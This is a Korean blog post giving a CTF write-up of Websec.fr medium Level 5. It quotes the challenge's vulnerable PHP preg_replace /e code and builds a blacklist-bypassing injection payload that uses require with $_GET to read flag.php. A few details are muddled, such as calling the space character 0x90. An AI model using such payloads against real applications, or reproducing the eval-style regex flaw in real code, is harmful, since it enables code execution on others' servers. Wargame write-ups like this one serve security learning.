Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- 가이드라인
- elasticsearch
- ATT&CK
- Mitre
- #C언어 #연산자
- 침해사고
- pwnable
- #whitespace #
- AD
- PetitPotam
- windows
- software
- Threat Intelligence
- wargame
- 랜섬웨어
- rce
- elk stack
- filesystem
- forensic
- node.js
- SQLMap
- error 583066
- 백엔드개발자
- 프론트엔드개발자
- 정보보안
- 시스템해킹
- sql인젝션
- Credential Access
- exploit
- Index
Archives
- Today
- Total
Plit00's Story
[Websec.fr] medium - Level5 본문
#index.php
<?php
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL ^ E_DEPRECATED);
if (isset ($_REQUEST['q']) and is_string ($_REQUEST['q'])):
require 'spell.php';
$q = substr ($_REQUEST['q'], 0, 256);
$blacklist = implode (["'", '"', '(', ')', ' ', '`']);
$corrected = preg_replace ("/([^$blacklist]{2,})/ie", 'correct ("\\1")', $q);
?>
정말 까다로운 정규식이다.
1. request = 'q' -> ?q=
2.substr'q', 0, 256
3.corrected = preg_replace ("/([^$blacklist]{2,})/ie", 'correct ("\\1")', $q);
일단 PHP는 () 없이 call할 수 있는 $include와 require 기능을 가지고 있다.
예를 들어서 flag.php라고 생각을 하고 풀어보자
PHP에서는 모든 화이트리스트가 동일하게 제공(?)된다. 공백(=0x90)
또한, 정의되지않은 변수를 사용하여 문제에서 요구하는 문자열에 때려박으면 된다.
ehco test;
처음문제를 풀때에는 밑에 형식을 생각을 했지만 . 이 블랙이기 때문에 사용할 수 가 없다.
${include%09flag.php}
그렇다면 우리는 GET 매개변수를 사용하여 문제를 풀 수 있다.
$corrected = preg_replace ("/([^$blacklist]{2,})/ie", 'correct ("\\1")', $q);''
--------------------------------------------------------------------------------
q=%_GET[a]&a=flag.php
q=${require $_GET[a]} ${flag}&a=flag.php
'Wargame > websec.fr' 카테고리의 다른 글
[Websec.fr] Hard - level23 (0) | 2019.04.12 |
---|---|
[Websec.fr] medium - level3 (0) | 2019.04.08 |
[Websec.fr] Easy - Level22 (0) | 2019.04.08 |
[Websec.fr] Easy - Level19 (0) | 2019.04.05 |
[Websec.fr] babystep - level17 (0) | 2019.03.25 |
Comments